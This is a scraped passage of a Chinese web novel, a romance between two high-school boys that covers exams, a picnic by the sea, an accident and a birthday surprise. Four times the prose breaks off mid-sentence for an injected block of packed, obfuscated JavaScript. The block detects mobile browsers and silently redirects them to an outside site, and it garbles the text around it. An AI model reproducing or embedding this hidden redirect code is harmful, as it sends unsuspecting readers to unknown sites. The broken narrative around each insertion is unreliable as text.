第一场考语文,开考铃声一响起谭俞就开始睡,犹如钓鱼一般小幅度地点着头,迷迷糊糊间他突然听到了一声轻笑,但声音不清晰,不太确定听见没,他以为幻听就没管,继续睡,等时间过去半小时他才抬起高贵的头颅开始做题。 该说不说谭俞是个人物,虽然啥也不会但答题卡也是填得满满当当的,坐他后面的那哥们儿见他状态这么松弛还以为是学霸转学生,小心翼翼地瞟他的试卷,提起笔抄得不亦乐乎。 考完休息时谭俞走出教室准备去买水,没想到转角就遇到了班主任。班主任是个性格飒爽的中年女人,姓杨,跟敌敌畏关系很铁,她这个人很特别,从来不补课,不媚男不媚女不偏袒成绩好的也不针对成绩差的,纯爱摸鱼,每次下班她跑得最快,不过同时她也很有实力,每次评选优秀教师都有她,是全校最受欢迎的老师,学生们都叫她杨姐。 “杨姐好。”谭俞笑着冲她打招呼。 杨老师听见有人跟她打招呼便抬头看了过来,见是谭俞,她露出了笑容:“谭俞,你过来一下。” 她把手里的一张单子递给了谭俞:“你把这张单子拿给江淮书,让他签完字放我办公桌上。”说完她就急着要走。 “诶杨姐,”谭俞有些奇怪,“你为什么不自己拿给江淮书啊?” 杨老师懒得跟他废话,踏着小高跟哒哒哒地就往楼下跑:“哎呀我忙着去校门口吃炸虾,一会儿人就多了,麻烦你一下了谭俞。” 谭俞真是服了,早知道就应该装瞎看不见杨姐。他拿着单子回到班上,心里思考着怎么跟江淮书说话更自然,能让气氛不这么尴尬。 他刚从后门进教室就撞见了来扔垃圾的江淮书,心一下子提了起来,他动了动嘴唇,将单子递给江淮书,但没有正眼看对方:“同桌,这,呃……这是杨姐让我给你的单子,说签好名字放她办公桌上。” 手拿着单子在半空中举了半天都没有见江淮书要接的意思,谭俞有些奇怪,于是抬眸看他,却猝不及防地对上了一双带着点点笑意的凤眼,心猛地一跳。 江淮书没有拿单子,而是伸手拉住谭俞的手,接着将对方扯到了自己面前。相触的指尖传来有些滚烫的温度,他微微弯腰凑到谭俞耳旁垂眸轻笑。 “为什么不看着我说话?” 单子都快被谭俞捏皱了,他呼吸一滞,耳尖通红,偏头轻咳了一声:“我,我有点不好意思。” “谭俞,”江淮书弯眸,指尖轻抚过谭俞的耳朵,“你耳朵好烫。” 没等谭俞作出反应,段佳成一下子从后门冲了进来,将笔甩到桌子上:“考完咯考完咯,吃饭去咯,老谭,你……” 他刚转头就看到了这个场面,声音一下哽住了:“你们……吵架了?” 江淮书慢慢直起身,没说话,从谭俞手中接过了单子,拿走的时候指尖还又轻又慢地勾了一下对方的手心,他抬眸直直地看进谭俞的眼底,眼神里带着点不清不楚的情绪,勾得谭俞心尖都在抽。 “谢谢。” ————————————————————————— 吃饭的路上谭俞一言不发,段佳成见状,愈发觉得奇怪,喝粥的时候都在审视着谭俞。 谭俞忍不了了,开口直奔主题:“你到底想说什么?” 段佳成轻轻摇了摇头:“啧啧啧,刚刚你跟新同学的气氛真不对劲,说是吵架又不太像,我也不知道怎么形容,总之就是很不对劲。” 他这么一说谭俞立马就想到了刚刚在教室跟江淮书相处的场面,于是连忙假装自己很饿,埋头吃菜:“我们没吵架,吃你的吧,一会儿吃完回学校复习,要是不及格你爸得揍死你。” 此言一出段佳成想象了一下那个场景,不由得打了个冷噤:“对对对,复习复习复习。” 两人回学校的时候时间还早,段佳成回教室复习,谭俞去了趟厕所。他走到拐角处时突然听到了江淮书正在打电话的声音,顿时脚步一停,闻声看了过去,刚好江淮书也注意到了他的动静,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900351|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了过来,两人就这么看到了对方。 江淮书眉眼平淡,似乎在等手机对面的人说话,谭俞顿了顿,冲他笑了一下表示打个招呼,接着继续走向厕所那边,谁知还没等他走远,他就听到江淮书不急不慢地开口说道。 “想找我就来,我有时间,下午我来接你。” 几乎是话音刚落的一瞬间,谭俞迈出的脚步又突然停住了。 接下来的一整个下午谭俞都心情不佳,脑子里全是江淮书的那句话。 对面的人是谁?他跟江淮书的关系好像很好的样子,为什么江淮书要去接他,他要来梅城这边吗? 不对,这些好像不关他的事吧? 谭俞面无表情地想着。 不爽,真的不爽,哪里都不爽。 算了,他跟江淮书只是朋友,管这么多干什么? 下午数学一考完谭俞就回到班上收拾好了书包,大步流星地迈出教室,段佳成在后面跟都跟不上:“老谭你干嘛走这么快,有急事啊?” 这时江淮书从门口路过,正好不偏不倚地挡住了谭俞的去路,他垂眸看向谭俞,张了张口,似乎想说些什么,但谭俞没有给他说话的机会。 “你不用说了,我知道的江淮书,刚刚在那边我听到了,你要去接人,那我跟段佳成就先走,不等你了。” 谭俞表情平淡地说完,单背着书包直接跟江淮书擦肩而过。 今天天黑得比之前快了不少,谭俞和段佳成走到茉莉巷的时候天色已经完全暗了,他俩虽然都住在茉莉巷,但是隔了一条小道,段佳成家比谭俞家要近很多,所以他先回了家。 段佳成回家之前还在不停叭叭叭:“你还说没跟新同学吵架,刚刚跟他说话的时候你那火药味简直呛死人。” “快回去吧,”谭俞没有接他的话茬,冲他挥了挥手,“拜拜。” 晚上的茉莉巷很安静,是令人很舒服的静谧,可惜谭俞还是心情不佳,一路上都在有一下没一下地踹着小石子。 他现在已经没有再想今天的事了,但就是提不起精神,谭俞猜测自己可能是太累了,想着赶紧回家休息,但就在他刚要走进小道里时,拐角处突然伸出了一只手把他用力扯进了另一条小道里。 小道里没有灯,只有外面的一点点光线照亮着这儿。谭俞心里一惊,刚想一脚踹过去,可下一秒江淮书的声音就响了起来。 “是我。” 听见这道熟悉的声音,谭俞紧绷的神经松懈了下来,他顿了顿,开口问道:“你这是做什么,你不是去接人了吗?” 江淮书没说话,他借着月光去看谭俞的神情,目光一寸一寸地扫过对方的脸,轻而慢。谭俞觉得很奇怪,准备开口问话,但却被江淮书抢先了一步。 “谭俞,你不高兴。” 这是个陈述句,代表着肯定,谭俞愣住,大脑渐渐空白。 “为什么?”江淮书缓缓低头,将嘴唇定在一个模糊未满的距离,呼吸缠绵间,他的声音听起来又低又轻,“我去接人,你不高兴,为什么?” 太近了,谭俞开始有些呼吸困难,于是下意识偏过了头,但他刚偏过去江淮书就掐住他的脸迫使他正了回来,接着他就彻底动不了了。 江淮书轻笑一声,彻底跨过那条红线,吻住了谭俞的唇。他轻咬轻舔,大约过了五分钟后才慢慢退开了一点,贴住谭俞柔软的唇瓣低声说话。 “怎么了,” “我们不是朋友吗,” “你为什么生气?” 15. 听到了吗 “江淮书。” 谭俞低声轻喊,尾音都勾着颤,他抬眸看向对方,扬起下巴一下又一下地轻啄着江淮书的嘴唇,空气里响起的渍渍声黏腻又暧昧,他们看向对方的眼神并不清白,两人之间不清不楚却又心知肚明,披着朋友的皮却做尽了朋友之外的事,谁都没有戳破那一层脆弱的隔膜。 两人吻得激烈,小道里的黑暗给足了他们温存的空间,江淮书微微张嘴,舌尖被谭俞轻咬了一口,轻微的钝痛感刺激着他身上的每一个细胞,嘴唇被吻到发麻,他听到谭俞低声说。 “我不想你去接那个人。” ————————————————————————— 寒假来临,梅城的冬天并不冷,甚至于说不算冬天,这儿并不下雪,有时候甚至还会出太阳,四季如春的,因此街上很是热闹,吆喝声交错着人们的谈笑声,很有生活气息。此时一个背着吉他的男生从岔路口那边走过来,惹眼的白发一路上吸引了不少人的注意力,他戴着粉色边框墨镜,将卫衣帽半遮在头顶,伸手点了一下耳机。 “我到梅城了,你住哪儿?” 此时通话对面的江淮书正在做甜点,闻言随口答道:“茉莉巷。” “我不认识路,”李槿迟语气无波,这时他忽然想到了些什么,笑了,“诶你前几天不是说要来接我吗?来啊。” “找导航,”江淮书不理他的揶揄,放下盘子拿起手机,“挂了。” 李槿迟也没指望江淮书会来接自己,被挂了之后随便点开了个导航软件,结果输入茉莉巷这三个字还找不到这个地方,他啧了一声,将手机揣进兜,准备找人问路。 他抬眸扫了一圈周围的人,目光落在了一个正在吃拌面的男生身上。李槿迟脚步顿了顿,向他走了过去。 “哥哥你好,请问你知道茉莉巷在哪吗?” 段佳成正吃着面刷手机,见突然来了个挺酷的男生问路,迟疑了一下,回答道:“我知道啊我就住那,请问你这是……” 这人长得很合李槿迟口味,他仔仔细细将段佳成看了个遍才开口:“我找我朋友,你能带我去吗哥哥?” “可以啊,”段佳成站起身,准备走到前面给他带路,“你朋友是谁啊?我可以带你到他家门口,茉莉巷的住户我全部都熟悉。” 李槿迟侧身让他走在前面,接着迈开长腿跟了上去:“是江淮书。” “江淮书?!”段佳成语气惊讶,“你是我们新同学的朋友啊?” “嗯,哥哥你认识他?那太巧了。” 两人一路聊着天,走了十多分钟的路才到了江淮书家门口,段佳成停下脚步,回头冲李槿迟笑了笑:“行了,这儿就是了,我得回家写作业去了,不然我爹肯定要发火了。” “好,辛苦哥哥了,”李槿迟客气地跟他道谢,接着拿出手机冲他晃了晃,“我们可以加个微信吗?” 段佳成一根筋,以为李槿迟是想交友朋友,爽快地答应了:“好啊,我叫段佳成,你叫什么啊兄弟?” 听见“兄弟”这个词时李槿迟动作顿了一下,他摘下墨镜,露出了一双漂亮的蓝眼,给段佳成看得一怔。 “我叫李槿迟,哥哥叫我槿迟就好,我喜欢别人这么叫我。” 段佳成回过神,心想着他可能是混血,有蓝眼睛很正常,便恢复神情,点了点头:“好,那我先回去了,有空可以联系我,我俩一起打游戏啊,拜拜!”说完他挥了挥手,转身走了。 可能是听到了门外的动静,江淮书开门走了出来,李槿迟闻声回头,勾唇冲他笑了笑,拇指指向段佳成离开的方向:“他……” “段佳成是直男,”江淮书见此情形,心里了然,他清楚李槿迟是个什么东西,直接打断了对方的话。 “进来吧。” “直男啊……”李槿迟喃喃自语,垂眸带着惋惜般笑笑,“原来是直男。” 一进家门李槿迟就闻到了一股浓郁的奶香气,接着便看到了桌上摆着的各种各样可爱的小甜点,他眼里闪过惊喜,准备伸手去拿,谁知手指还没碰到盘子江淮书就撤走了,他抬眸,不满道:“你干嘛?” “这是给谭俞做的,”江淮书把甜点放到另一个柜台边,转身看了过来,“让你买的吉他呢?” “在沙发上,”说着,李槿迟走了过来,观看江淮书做甜点,“谭俞是谁?” “他是……” 江淮书顿了顿,脑海里闪过许多个画面:笑得张扬的谭俞,窘迫的谭俞,害怕的谭俞,生气的谭俞,别扭的谭俞,脸红的谭俞……想到一半他突然轻笑,眼里透着温柔。他仔细地将奶油挤到小鱼蛋糕上,给它画了个小眼睛,一块可爱的青绿色小鱼甜点蛋糕就此降临。 “他是我爱的人。” ————————————————————————— “game over!” 又输了一把。 谭俞把手机扔到一边,不耐地闭上眼。也真是奇怪,别人放假开开心心的,就他愁眉苦脸,做什么事都不顺心。想到这,他看了一眼手腕处的平安绳,扯了一下嘴角,翻过身抬起手仔细端详,几秒后他又将平安绳凑到唇边吻了一下。 “坏鼠。” 他嘟囔着,拿过手机点开联系人界面给江淮书打了个电话。手机“嘟——嘟——”地响了几下,紧接着便被接通了,那边传来一道轻而悦耳的声音:“谭俞?” “我跟段佳成要出来玩,你要一起吗同桌?” 江淮书答应得很爽快:“好。” 听到他的声音,谭俞不自觉地勾唇:“那我们十分钟后见。” “好。” 几人约好的是去月牙湾那边野餐,现在那边的薰衣草田开得特别好,特别适合采风。段佳成在家的两个小时里就只是在数学作业本上画了几个大字,其他啥也没写就又出门去超市购物去了。他拿了一大堆柠檬薯片,酸角汁和鸡尾酒以及各种零食小吃,结完账后就打电话给了谭俞。 “你们收拾好没有啊?我东西都买好了。” 此时谭俞也刚好出门,走到巷子口停住脚步:“江淮书好像还没收拾好,我先在巷子口等着,你找个地方休息等我们。” “行,”段佳成点点头,“那我在超市旁边的这家烤鸭店坐着等你们。” 通话结束,谭俞收好手机,将头靠在巷子口的一根柱子上,柱子上盘旋着爬山虎,绿油油的一片,风一吹来就响起哗啦啦的声响,听起来就让人格外舒服,他闭上眼,享受着片刻宁静。 这时他突然闻到了一股蓝莓奶油的香气,他顿了顿,睁开眼,只见江淮书正拿着一小块蓝莓泡芙递到他的唇边,垂眸看他。两人一下子对视上,江淮书微微勾唇,低声道:“张嘴。” 现在谭俞已经习惯了这些亲密动作,没有像之前那样不好意思,也没有总想着躲了。他的桃花眼里闪过笑意,眼尾勾起,耳尖泛起红晕,不客气的张开嘴:“啊——” 看见这俩人亲密的举动,李槿迟挑了下眉,心里猜测江淮书应该不是单相思,感觉谭俞也对他有意思。 “好吃么,”江淮书指尖擦过他嘴角的奶油,“我记得你爱吃甜的。” “好吃啊,”谭俞点点头,眼里闪过惊讶,“你竟然记得,这是你自己做的?” “嗯。” “我靠,同桌你好厉害!” 他俩腻歪个不停,李槿迟看不下去了,轻咳了一声,走到了谭俞面前:“你是谭俞吧?我是江淮书的发小,叫李槿迟。” 谭俞闻声看了过来,看到他的长相时有些惊讶,接着点了点头:“啊,是,你好。” 话一说完,谭俞似乎想起了什么,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900352|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他们说道:“段佳成买好东西正等我们呢,我们走吧。” 三人到烤鸭店时段佳成都快睡着了,但一见到李槿迟就睡意全无了,他瞪大眼:“我去,好兄弟你也来了?” 李槿迟勾唇,蓝眸弯起:“对啊,反正待着无聊,我也跟过来凑热闹。” “你俩……”谭俞在他们两人之间看了个来回,“你俩认识?” “是啊,之前他不认识去茉莉巷的路,还是我给带的,”说着,他站起身,“好了好了老谭,走吧,再不走天就要黑了,还看不看日落了?” 话虽是这么说,但他们没有立刻去月牙湾,而是习惯性随便逛了一下,谁知走到一半时段佳成看见娃娃机就走不动道了,他幼稚得要死,非要抓到一个才肯罢休,结果却是钱投了,但一个都没抓到。 李槿迟一见机会来了,便走到他身边伸手握住了他拿遥控键的手,轻声道:“哥哥,我帮你吧。” 可惜段佳成不给这个面子,拿开了他的手,没有对暧昧的喜欢,全是对挑战的渴望:“不用了兄弟,我还是很牛逼的,你看着吧。” 李槿迟:“……” ————————————————————————— 快要日落的时候他们才到的月牙湾,那里长满了薰衣草,特别美。谭俞找了块平地铺上了布,把零食小吃还有酒和饮料全放在了上面。 谭俞怕自己醉了发酒疯所以没碰鸡尾酒,全程都在喝饮料。不得不说江淮书手艺真的好,做的甜点种类丰富,甜度也适宜,谭俞吃得很满足。另一边的段佳成边吃薯片边跟李槿迟聊天,李槿迟非常懂游戏,他算是遇到知己了,跟李槿迟聊得不亦乐乎。 月牙湾靠海,走到边缘处就能将大海一览全景。谭俞用一条线把两个纸杯串起来做成了一个土电话,他让江淮书拿着另一头,自己在这一头说话。 “喂喂喂,同桌你听得到吗你听得到吗?” 江淮书轻笑道:“我听得到。” “同桌同桌,谁是这个世界上最帅的人?” “谭俞。” “谁是这个世界上最聪明的人?” “谭俞。” “谁是这个世界上最有才华的人?” “谭俞。” 谭俞彻底笑疯了,一头倒在地上,笑得打滚:“江淮书你太好玩了。” 此时的太阳已经被海面吞掉了半边,日落的光辉洒在地面上,江淮书坐在旁边看着谭俞笑,没说话,那一半圆日映照在江淮书眼里,如潭水映日,温柔又漂亮。谭俞心悸了一瞬,缓缓坐起身来,他顿了一下,拿着刚刚做的土电话凑到了江淮书身边。 “江淮书,你知不知道这个能听清楚一些来自海的声音?” 江淮书摇了摇头:“不知道。” “那你拿着这头凑到耳边,我把这头举起来,让你听一听,”谭俞把一头递给了江淮书,站起身拉着另一头走到他身后,笑道,“你不要回头!” 听见他的叮嘱,江淮书低笑:“好。” 江淮书把纸杯凑到耳边闭上眼仔细听,但过了好久还是没听到谭俞所说的来自海的声音,他耐心地等待着,过了半分钟后他才终于听到了声响。 但传来的并不是什么来自海的声音,而是人的心跳声。 一下,一下,又一下。 刹那间,江淮书瞳孔收缩,呼吸都快暂停了。 谭俞将纸杯放在自己的左胸口,低头看向江淮书,两人的视线碰撞在一起,江淮书清晰地听到谭俞的心跳开始加快。 一阵海风吹过,他看见谭俞的发丝被轻轻撩起。左耳传来的是谭俞的心跳,右耳传来的是谭俞的轻笑。 “你听见了吗?” 时间仿佛暂停在这一刻,江淮书感觉自己快死在他的眼睛里了。 “我听见了。” 16. 意外 这些零食大家吃到最后都还没吃完,也确实买得太多,段佳成吃了两包半的薯片,现在已经快吃吐了,索性不吃,一头倒在地上看星星。 四人睡在地上,头挨着头地靠在一起瞎聊着天。 “你们毕业之后想做什么啊?”段佳成睁眼看天,眼里满是对未来的憧憬,“我想攒很多很多钱,然后去环游世界!” 李槿迟没什么规划,也没这么憧憬未来,甚至有些无聊:“我刚高一,离毕业还早。” 听见他的话段佳成有些惊讶:“啊?你高一?牛逼啊,我还以为你跟我们同龄呢,没想到你比我小两岁啊。” 段佳成真的直的可以,李槿迟特别想笑:“有这么惊讶吗哥哥?” 聊到这个关于未来的话题,江淮书突然想起了谭俞,他静了几秒,偏头看向对方,低声问:“谭俞,你有没有想过以后?” 夜已渐深,此时风过花间,谭俞看着天上闪烁的星星,沉默了很久很久,随后突然站起身:“我去搭帐篷。” 看着他离去的背影,江淮书也沉默了。 为什么对未来避而不谈呢?是没想过还是不敢想? 联想起之前谭俞的各种以烂为烂的行为,江淮书心里忽然生出一种难言的不甘,他认为谭俞不应该是这样的,这么特别的一个人,应该向更远的地方去。 他站起身,朝谭俞走去:“我来帮你吧。” 两个人沉默地扎着帐篷,周围只有李槿迟跟段佳成聊天的声音。他们各自在对方对面忙活着,谁都没有先开口说话,结果绕着帐篷打理了一圈后又走到了对方身边。 “挪威。” 谭俞突然开口,令江淮书动作一顿。 他抬眸看向一望无际的大海,神情晦涩难懂,几秒后他忽然又笑了,像是寒冬融化后饱饮春水的花,漂亮又生动。 “我想去看挪威的春天。” “江淮书,” “如果有机会的话,你会陪着我一起去看吗?” 谭俞看海,江淮书看他。 “我会。” “谭俞,不管是去哪,如果是你我就愿意。” 这时一道巨大的海浪撞向了礁石,破碎的水花溅向四周,谭俞听见江淮书的承诺。 “只要你牵住我,我就会跟你走。” ————————————————————————— 天刚蒙蒙亮,段佳成兴奋地冲进谭俞的帐篷里奋力摇他:“老谭老谭,出来看日出!” 谭俞昨晚失眠,本来就睡眠不足,这一大清早的段佳成就进来吵他,在他快要被段佳成摇死之前他终于醒了,声音带着困倦和沙哑:“日出?现在吗?” “对啊对啊,”段佳成很兴奋,语速很快,“特别漂亮我靠,老谭你快起来,没见到这场日出简直就是你人生当中最大的损失!!” “好好好,”谭俞眼睛还没睁开就开始穿衣服,同时还扒开了段佳成的手,“别摇了,我脑浆快被你摇匀了。” 见谭俞终于起床了,段佳成放下心来,站起身跑了出去,动作快得像是生怕下一秒就看不到日出了似的。他脚步停在月牙湾的边缘,双手放在嘴边毫无征兆地大喊:“段佳成到此一游!!!” 太阳冉冉升起,光辉普照着海面与沙滩,李槿迟在芝加哥生活这么长时间很少有机会这么正经地看过一次日出,此时也是被迷住了,一时间有些失语。谭俞从帐篷里出来时瞬间就被日出的光线刺到了眼,他眯起眼眸,用手挡了一下阳光,静静地看着眼前的一切。 “高考上岸!” 段佳成又喊道。 “我的朋友们都要平安顺遂,天天开心!!” 谭俞闻言一下子笑出声,轻轻弹了他脑袋一下:“你是看日出还是许愿?” “都有啊,”段佳成显而易见的高兴,“好久没这么爽过了,果然还是放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900353|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假好。” “你还是想想作业要怎么补吧?”谭俞转身去收拾东西,他顿了顿,轻笑,“你也要万事顺意,平平安安啊段佳成,虽然你又笨又有病,但没了你生活还是少了点乐趣。” 本来段佳成还挺高兴的,听了后面的话他瞬间不笑了:“你说谁又笨又有病?!” 说完他便顺手拿起脚边的篮子,作势要打谭俞:“死谭俞,我不把你打成狗我不姓段!!” 他们一个跑一个追,月牙湾里洋溢着几人的笑声,一大早就热闹得不行。等太阳高挂时他们也闹够了,随便吃了点昨天剩下的小吃就去收拾帐篷去了。 因为是清晨,月牙湾这儿的地会因为露水过多而变得湿滑,下坡时会很危险,即使是经常出入这里的人在这个时候也不得不小心翼翼地下去。 谭俞手里拿着的东西有点碍视线,不过好在他走路很小心,一路上下坡也没出什么意外。本以为会很顺利地走出月牙湾,谁知下一秒谭俞脚下的土却突然塌了,几乎是瞬间他就往前倒了下去。 “谭俞!” 江淮书见状,连忙将手里的东西丢了出去,眼疾手快地拉住了谭俞的手,可现在这段路是最陡的,想要站稳根本不可能,于是他将谭俞扯进怀里,自己垫在底下,就这么滚了下去。 情况突发,李槿迟和段佳成根本来不及拉住他们,只好原地暂停。 “哥哥,你手机有电吗?!”李槿迟皱起眉,“快打120!我手机关机了!” “有有有!”段佳成连连点头,现在的他也是慌得不行,输入号码时手都在抖。 锋利尖锐的石子尖不断刺进江淮书的皮肉,虽伤口不大,但也足以让人痛苦不堪,可他却一声不吭,用手护住谭俞的头,最终狠狠撞在了底部路口处的一棵大树上,失去意识之前他看到了谭俞眼里的愣怔和恐惧,用尽最后的力气开口,却是一句对谭俞的安抚。 “别怕。” 17. 告白 “病人没什么大碍,只是有些轻微脑震荡,多休息少做剧烈运动,一般一到两周就能恢复。” 医生边做记录边跟谭俞他们交代情况,接着用笔敲了敲手上的单子:“让病人好好休息,有什么特殊情况请家属及时找我。” 她话一说完李槿迟就点了点头:“好。” “是不是需要吃点什么营养品啊?”段佳成站起身问道,“我现在下去买。” 医生点了点头:“可以买点鱼肉,鸡蛋什么的,这样有助于更快恢复。” “行,我现在下去买。” 话音一落段佳成就走出了病房,李槿迟见状也跟了上去:“哥哥,我跟你一起。” 两人脚步声渐远,医生也准备出去了,不过走之前她多看了谭俞几眼,眼里有些疑惑,但并没有多问。 谭俞脸色苍白,嘴唇几乎毫无血色,他呼吸急促,不停地啃咬着指尖,咬出血了都不知道,仿佛感受不到疼痛。 曾经车祸里爸妈为护住他时被玻璃划伤的脸跟江淮书的脸重叠,犹如卡顿的电影画面一般重复在谭俞脑海里播放。 血,都是血,好多血。 爸妈是,江淮书也是。 身子不停发抖,他一遍遍在脑子里问自己为什么不能再小心一点,为什么又闯祸,为什么又让别人为自己受伤。 为什么下雨天还要缠着爸妈买蛋糕,为什么不懂事一点,为什么一定要过生日,为什么走路不小心,为什么做事不仔细,为什么总让别人承担后果,为什么? 为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么为什么? 脑子一片混乱,恐惧和麻木交织成蛛网将他裹成了一团,勒得他又窒息又恶心又痛苦。 意识越来越模糊,谭俞的眼睛开始变得空洞,身体摇摇欲坠,仿佛下一秒就要晕厥。但这时,一只手突然轻轻扯过了他咬在嘴里的指尖,低而温柔的声音灌入他的耳道,撕裂了束缚住他的蛛网,猛地拽回了他的神智。 “谭俞,抱我。” 这个声音仿佛带着魔力,引导着谭俞一点一点呼吸,声音的主人将他搂进了怀里,一遍又一遍地吻去他滴落的泪。 “看着我,小俞,看着我好吗?” 谭俞抱住了他的腰,说话时的声音哑到快要听不清:“江淮书,对不起。” “对不起。” “对不……” 第三个对不起还没说完江淮书就打断了他的话:“谭俞,如果今天从月牙湾上不小心滚下来的是我,你会不会救我?” 几乎只是一刹那,谭俞秒答:“我会。” 听见他的回答,江淮书笑了,声音很轻柔:“同理,我也会,这是我的本能反应,所以你没有任何问题,你什么错都没有。” 话音一落,病房里陷入死寂,江淮书缓缓垂眸看向谭俞,两个人的视线刚一对上,似乎有一股看不见的血液正通过江淮书那双饱含柔情与心疼的眼睛一点一点渡到了谭俞的眼睛里,从血管输送到全身,心脏的闷痛和大脑的缺氧逐渐有了好转,他听见江淮书一字一句道。 “你现在要做的就是抱紧我,闭上眼埋在我怀里好好睡一觉,做一个美梦然后醒来时告诉我。” “学会了么?” 温暖的感觉抚平了身体里的痛苦,谭俞感觉自己的身体里被埋下了种子,它在心脏里生根,在血管里发芽,最后从嘴里开出花。 他知道那是什么。 那是江淮书在他枯涸的眼睛里种下的春天。 于是他闭上眼,没有让春天逃走,他将头靠在江淮书怀里,低低应声。 “我学会了。” ————————————————————————— 江淮书出院那天是谭俞的生日,谭俞并不打算过,所以没告诉江淮书。好死不死段佳成这天发了高烧,在诊所里昏昏欲睡前只来得及给他发个红包和一条生日祝福,不过红包谭俞没收,给退了回去,说是让段佳成病好了拿去买雪糕,结果就是段佳成给他发了个中指的表情外加一条带着生日快乐的谩骂消息。 谭俞对他破防的样子见怪不怪,心情颇好地去超市买了几根火腿肠来茉莉巷里喂卷卷。 “前些天在医院照顾同桌没来得及喂你,饿坏了吧?快吃吧。” 卷卷汪汪汪地叫了好几声,埋头狼吞虎咽地吃着,巴不得连包装袋都吃进去。谭俞勾唇,笑出声,桃花眼眼尾微微挑起:“慢点吃慢点吃,我没带水,你噎着了怎么办?” 吃完后谭俞又教它握手,但它不懂,总是仰起头去舔谭俞的手指,谭俞很怕痒,抱着它的头哈哈大笑。 江淮书打开窗户往外看时看到的就是这样一副场景,他有些意外,没想到这个高度能看到谭俞在巷子里喂小狗。 谭俞似乎跟卷卷玩得很开心,一下跳起来一下又蹲下身,以此重复,乐此不疲。 “看什么呢?” 李槿迟走了过来,伸着头往外看。 “嘘,”江淮书的目光一直停留在谭俞身上,头也懒得抬,“我在看小狗。” 李槿迟闻言冷哼一声,看破不说破,转移了话题:“你知不知道谭俞今天生日?” “知道。” “谁跟你说的?” “段佳成。” “那你做好什么准备没?” 此话一出,江淮书顿了顿,揣在兜里的手蜷缩了一下,看向谭俞的目光愈发温柔:“嗯,在海边。” 李槿迟一听,用脚想都能知道他要干嘛:“那你加油,段佳成感冒了,我去看看他。”说完,他便转身走了。 江淮书在窗边站着看了谭俞很久,直到脚站得发麻他才拿出手机给谭俞发消息。 H:我知道去海边的路了,谭俞,今晚我想亲自带你去一回,好吗? ————————————————————————— 夜晚海边的气温有些凉,悬月高挂,如霜的月光洒在海面,波光粼粼,很是漂亮。 “江淮书,”谭俞笑,“怎么突然想到带我来海边?” 江淮书不答反问:“好看吗?” 大海谭俞经常都能看,再美的场面也都见过了,但他还是点了点头:“很漂亮。” 此时江淮书突然停下脚步,在月光下回眸看他:“你还记得之前你带我来海边的那个下午吗?” “你说我身上的味道很香,你很喜欢,想让我帮你洗衣服。” “那个时候我,”谭俞耳尖微红,说话时不禁有些别扭,“我喝醉了,脑子不清楚自己在说什么,冒犯到你的话真的很抱歉。” “你说我人好,”江淮书似乎没有看到他的不好意思,还在继续说,“说我长得很漂亮。” 今晚的江淮书有点奇怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900354|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不上来的奇怪,但谭俞没有多想,依旧老实地回答着他的问题:“我实话实说嘛,同桌你就是很漂亮啊。” “那你之后在教室吻我是因为什么呢?” 江淮书这话说得太过直白,一下子给谭俞问懵了,他张了张嘴,却不知道说什么,不知是不是衣服太厚的原因,他总感觉身上太热了,脸也开始发烫。 “谭俞,”江淮书说,“我们来玩个游戏吧。” 谭俞问:“什么游戏。” “我躲起来,你闭上眼睛数到十,然后转身来找我。” 这是躲猫猫的游戏规则,虽然现在已经是晚上,但谭俞并没有拒绝他的提议:“好。” 话一说完他便闭上了眼睛,开始数数。 数到十并没有花多长时间,一小会儿就数完了,谭俞睁开眼睛,转身刚准备去找江淮书,却万万没想到对方根本没躲起来,而是端着一个很大的蛋糕定定地站在他的身后。 谭俞愣在原地。 